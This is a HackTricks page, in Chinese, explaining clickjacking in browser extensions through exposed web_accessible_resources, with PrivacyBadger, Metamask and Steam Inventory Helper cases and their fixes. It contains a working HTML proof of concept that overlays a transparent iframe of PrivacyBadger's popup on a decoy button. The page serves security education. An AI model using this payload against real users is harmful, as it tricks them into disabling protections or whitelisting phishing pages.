BrowExt - ClickJacking

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

基本信息

本页面将利用浏览器扩展中的点击劫持漏洞。 如果您不知道什么是点击劫持,请查看:

Clickjacking

扩展包含文件**manifest.json**,而该JSON文件具有字段web_accessible_resources。以下是Chrome文档对此的解释:

这些资源将通过URL chrome-extension://[PACKAGE ID]/[PATH] 在网页中可用,可以使用**extension.getURL方法**生成。经过允许的资源将使用适当的CORS标头提供,因此可以通过诸如XHR之类的机制访问。1

浏览器扩展中的**web_accessible_resources**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能:

  • 更改扩展的状态

  • 加载其他资源

  • 在一定程度上与浏览器交互

然而,这个功能存在安全风险。如果**web_accessible_resources**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的毫不知情的用户可能会无意中激活此嵌入式资源。这种激活可能导致意外后果,取决于扩展资源的权限和功能。

PrivacyBadger示例

在扩展程序PrivacyBadger中,发现了一个与skin/目录声明为web_accessible_resources相关的漏洞(请查看原始的博客文章)。

"web_accessible_resources": [
"skin/*",
"icons/*"
]

这种配置导致了潜在的安全问题。具体来说,skin/popup.html 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能会被嵌入到一个 iframe 中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示,链接为 https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm

为了解决这个漏洞,实施了一个简单的解决方案:从 web_accessible_resources 列表中移除 /skin/*。这一变更有效地减轻了风险,确保 skin/ 目录的内容不能通过 web 可访问资源进行访问或操纵。

修复方法很简单:web_accessible_resources 中移除 /skin/*

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

关于Metamask中ClickJacking的博文可以在这里找到。在这种情况下,Metamask通过检查用于访问它的协议是否为**https:http:(例如不是chrome:**)来修复了漏洞:

Metamask扩展中的另一个ClickJacking漏洞是,当页面因“web_accessible_resources”: [“inpage.js”, “phishing.html”]而被怀疑是钓鱼页面时,用户可以点击以将其加入白名单。由于该页面容易受到Clickjacking攻击,攻击者可以滥用它显示一些正常内容,使受害者在不知情的情况下点击以将其加入白名单,然后返回到已被加入白名单的钓鱼页面。

Steam Inventory Helper Example

查看以下页面,了解浏览器扩展中的XSS是如何与ClickJacking漏洞链接在一起的:

BrowExt - XSS Example

References

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于